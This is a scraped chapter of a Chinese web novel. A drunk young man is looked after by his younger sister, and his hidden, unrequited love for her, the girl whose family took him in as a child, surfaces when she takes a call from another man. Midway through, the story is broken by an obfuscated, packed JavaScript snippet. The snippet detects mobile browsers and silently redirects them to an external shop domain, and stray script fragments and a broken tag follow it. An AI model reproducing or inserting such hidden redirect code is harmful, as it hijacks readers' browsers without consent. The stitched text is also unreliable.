文趣网 > 都市小说 > 口腹之欲 > 15.嫌弃我
    晚上到了家,洗了澡,舒舒服服的。

    听有见敲门声,姜稚鱼穿着睡裙趿着兔子拖鞋跑过去。

    “谁啊?”

    “我。”

    “你是谁呀?”姜稚鱼故意。

    “坏人。”那人笑。

    一拉开门就撞进一个一身酒气的姜惕非。

    他醉得眼睛都红了,脚下一个踉跄就往姜稚鱼那边倒,吓得她赶紧张开胳膊要接,他却又硬生生转了身子,整个人撞在鞋柜侧面,硬撑着才没摔下去。

    姜稚鱼赶紧伸手去扶他的胳膊,又看见他今天穿了深蓝色的英式西装,条纹领带歪了一半,领口解开两颗扣子,从来都是整整齐齐的人,现在头发全乱了,姜稚鱼长这么大都没见过他这么狼狈的样子,忍不住皱着眉嗔他:“哥哥!你怎么又喝这么多啊!跟谁学的天天往醉了喝!”

    姜惕非听见妹妹炸毛的声音,反而弯了弯嘴角,借着酒劲直起身子,后背靠着鞋柜稳稳站住面对着她。平时冷白的脸颊晕着薄薄的潮红,连眼尾都染了点粉:“别生气小乖,哥……哥找到毕业后能入职的工作了,在证昊,跟那些导师的高管朋友吃饭认识一下,难免要敬酒。”他抬手挠了挠发顶,又小心翼翼问,“爸妈睡了吗?我待会悄悄上楼。”

    姜稚鱼叉着腰瞪他:“你就知道怕爸妈生气,你不怕我生气吗?就不能推了不喝吗?你看你现在都站不稳了!”

    姜惕非没说话,就只看着她笑,黑沉沉的眼睛里浸着酒意,亮得吓人,目光一眨不眨地黏在她脸上。

    姜稚鱼被他笑得更气了,转身就要去给去市区串门的爸妈打电话喊他们过来管管,刚走两步,身后就传来“咚”的一声,她回头一看,姜惕非脚滑没站稳,直直跪在了地板上,吓得姜稚鱼又赶紧转身跑回去拉他:“你怎么回事呀!快起来,这地上凉冰冰的,硌着多痛啊!”

    姜稚鱼攥着他的胳膊使劲往上拽,他一米八六的个子醉得沉甸甸的,怎么铆着劲都拽不动,姜惕非就那么跪着,仰着头看她,醉眼朦胧的:“……不疼,小乖,跪着看你挺好的。”

    姜稚鱼拽了半天拽不动他,额角都憋出细细的汗珠,喘着气停手,气鼓鼓往后退了一步,抬脚踢在他大腿上。

    “那你就在这儿跪着吧!没人爱管你!”

    她说完转身就走,带起一阵沐浴露香味的风。

    脚步声噔噔噔往厨房走,没过多久就传来开燃气灶的轻响,咕嘟咕嘟煮东西的声音飘过来,混着淡淡的葛根和蜜枣的甜香。

    姜惕非垂着脑袋靠在鞋柜边上,酒意往上涌,眼皮沉得快要粘在一起,就这么迷迷糊糊快要睡着了。

    不知过了多久,感觉膝盖边蹲下来个人,指尖碰了碰他的脸颊,细细软软的声音响在耳边:“哥哥?”

    他费劲掀开一点眼皮,就看见妹妹蹲在他面前,刚才的气都消得差不多了,只剩下满满的担心,指尖还轻轻戳了戳他的膝盖:“我放好热水了,醒酒汤也煮上了,你快起来去泡个澡。”

    姜稚鱼抿了抿唇,声音带了点委屈的鼻音:“工作之前就要这么拼着喝酒,我真的担心你以后工作了,天天这么喝,把胃喝坏了可怎么办?”

    姜惕非看着妹妹皱成小包子的脸,心尖软得一塌糊涂,忍不住抬起手蹭过她温热的脸颊:“没事,乖乖,哥以后就稳定了,能赚好多钱,能给你买你想要的所有东西,喝这点酒算什么。”

    他撑着地板慢慢要起来,姜稚鱼赶紧伸手架着他的胳膊往上拽,这次他没再耍赖,顺着妹妹的力气站起来,腿麻得晃了一下,整个人压在她身上。

    姜稚鱼咬着牙架着他的胳膊往客厅走,走两步就喘口气,额角的汗又冒出来。

    好不容易蹭到沙发边,她猛地一松劲,把姜惕非往柔软的沙发靠垫上一扔,随后站在旁边喘粗气:“不许乱动,我去盛汤。”

    说完她又跑向厨房,瓷勺碰着瓷碗叮当响,没一会儿就端着满满一碗醒酒汤过来,汤里飘还着切好的蜜枣块。

    她跪坐在姜惕非旁边的沙发上,一条腿垂在沙发边,细白的小腿露在睡裙外面,一手端碗,一手舀了汤吹得凉丝丝的,递到他嘴边:“快喝,放了蜜枣和冰糖,不苦。”

    姜惕非靠在沙发背上,醉眼朦胧地看着妹妹,灯光暖黄落在她发顶,跟小天使似的,她跪得歪歪的,露出半边圆润的肩头,酒意烧得他血液都烫起来,不自觉就张开嘴,把那勺汤含了进去。

    姜稚鱼看他乖乖喝了,又舀了一勺递过去,没发现他攥着沙发扶手的指节都白了。

    看着他把最后一口汤喝完,姜稚鱼把空碗往茶几上一放,转身去卫生间拧了热毛巾出来想给他擦擦脸。刚走回沙发边,姜惕非就借着酒劲慢慢坐直了身子,喉结动了动,抿着嘴像是要开口说话。

    但是姜稚鱼盯着他微微撅起来的嘴,脑子里瞬间警铃大作——这不是要吐了是什么!

    她吓得往后一蹦,离哥哥老远。

    姜惕非刚攒出来的话卡在喉咙里,看着妹妹那副躲瘟神一样的样子,愣了一下,随后皱着眉盯着她:“嫌弃哥哥是不是?只是喝醉,你就嫌弃哥哥了?”

    “不是不是!”姜稚鱼赶紧摆着手,但还是往后缩了点,“我在给你找垃圾桶,你别吐在沙发上啊!”

    姜惕非却不依不饶,伸出手要够她,胳膊晃几次都没够着,干脆往沙发靠背上一瘫,耍起了酒疯:“小乖,你就是嫌弃我了……小时候你的衣服都是我给你洗……给你擦屁股……你现在长大了,就嫌哥哥脏了……”

    “又开始了又开始了!”

    这话听得姜稚鱼脸瞬间烧起来,从脖子红到耳尖,赶紧伸手捂住耳朵,又羞又恼:“你不许说了,多大点事了天天拿出来说!丢死人了!”

    一个都脸红脖子粗了,另一个还在颠三倒四地嘟囔,全是小时候的碎事:“那时候你才五岁,扎着两个羊角辫,天天跟在我屁股后面跑,爸妈天天去进货,半夜发烧都是我背着你去诊所……你爱吃街口的糖糕,我攒了零花钱给你买,你还掉河里去了,我跳下去捞你……你偷摘王阿婆的芒果,还是我帮你背的锅,被爸打了一巴掌都没说你……”

    姜稚鱼攥着毛巾就要去堵他的嘴。

    浴室里又突然传来手机铃声,叮咚响得急,她干脆把整张热毛巾往姜惕非脸上一扔,转身就往浴室跑。

    姜惕非真的像被施了定身法一样,靠在沙发上不再动,就那么乖乖让毛巾盖着整张脸,也不再说话。

    等到姜稚鱼拿了手机往回走,到沙发边看他还一动不动,毛巾严严实实盖着脑袋,怕他闷得慌,又忍不住伸手,捏着毛巾边往上折了一半,露出他高挺的鼻梁和抿着的嘴唇,他还是不动,只是听见脚步声,悄悄往她那边蹭了蹭。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615486|205360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    姜稚鱼懒得理他,一屁股坐在沙发扶手上,划开手机接了电话。

    “喂,阿风?”说话的时候声音已经软下来。

    姜惕非唇上的笑意突然消失。

    电话何处风的声音有点沙哑,但语气又稳又郑重:“小鱼,我订了明天的车票,明天忙完最后一点下午就到浪歇脚,这次的事……是我不对,资助的钱是我攒了一学期兼职的工资,这次必须给你带回去,一码归一码我肯定不能一直花你们家的。还有留学的事,之前名额出变故我没敢跟你说,后来又突然补录上了,手续院方催着办得急,我一直没抽出空跟你当面说,是我的错。你别生气,也别多想,我比谁都珍惜你,这些年要不是你和叔叔阿姨帮我,我根本走不到今天,这些我都记着。”

    姜稚鱼听他说完一长串解释,心里那点别扭一下就散了,软着嗓子应他:“嗯嗯,我相信你,那明天我们在哪儿见啊?”

    何处风在电话那头算了算时间,声音明显放松下来了:“我高铁大概傍晚到,出站打车到你们半隐也赶得上饭点,我直接去半隐找你好不好?不用你跑来车站接我。”

    姜稚鱼立刻应下来:“好呀好呀,那你直接来酒店后面的私人沙滩就好,我们明天正好办员工团建,有烤全羊还有海鲜自助,你来了刚好一起吃,人多还热闹呢。”

    姜惕非的酒已经醒了大半。

    其实不还不如不醒。

    不过值得庆幸的是,毛巾还盖着眼睛,不用看见她笑的样子。

    正贪恋着那点不属于自己温度,忽然姜稚鱼弯着腰凑过来,指尖勾住毛巾边往上一掀,露出他整张脸来。

    还算有良心,知道看看他。

    姜稚鱼手机还放在耳边,歪着脑袋看他,一眼就看出他眼底的冷寂清明,哪里还有醉意,轻轻戳了戳他硬邦邦的胳膊:“哥哥,我热水都给你放好了,快去洗澡吧,再等一会儿水都要凉了。”

    姜惕非低低应了一声“好”,撑着沙发扶手站起来,脊背挺得笔直,又恢复成那个对外永远冷淡疏离的样子,转身往浴室走,进场时间刚刚好,没让她看见眼底翻涌上来的涩意。

    蒸腾的雾气糊满了浴室玻璃,热水哗哗浇在他发顶,顺着肩背往下淌,他却觉得浑身都冷。

    究竟是哪一步走错了呢?

    从他七岁那年被妹妹捡回家,站在这家院子的栀子花香里,她举着烤红薯递给他,叫他“哥哥,你吃”。

    从他看着妹妹从扎羊角辫的小不点长到亭亭玉立的少女,给她开过家长会,替她挡过追求者,给她攒钱买最新款的烤箱。他陪她的日子比爸妈多,比何处风多,比这世界上任何一个人都多。

    热水顺着下颌往下滴,他闭了闭眼。

    翻来覆去咀嚼着小时候的事,翻来覆去地说,不过就是因为他和妹妹只有过去,没有未来。

    未来的她身边会站着她的丈夫,会有他们自己的家,会有他们的孩子,姜惕非以后去她家门里当客人,都要站得规规矩矩。

    想着慢慢来,想着她开开心心就好,想着只要在身边,什么时候都不晚。

    可他只顾着看着妹妹,都忘了也会有别的人闯进她的生活,会对着她笑,对着她说喜欢,会把他挤出去,站在本该属于他的位置。

    错了,从一开始就错了。

    我爱你太过,我该受折磨。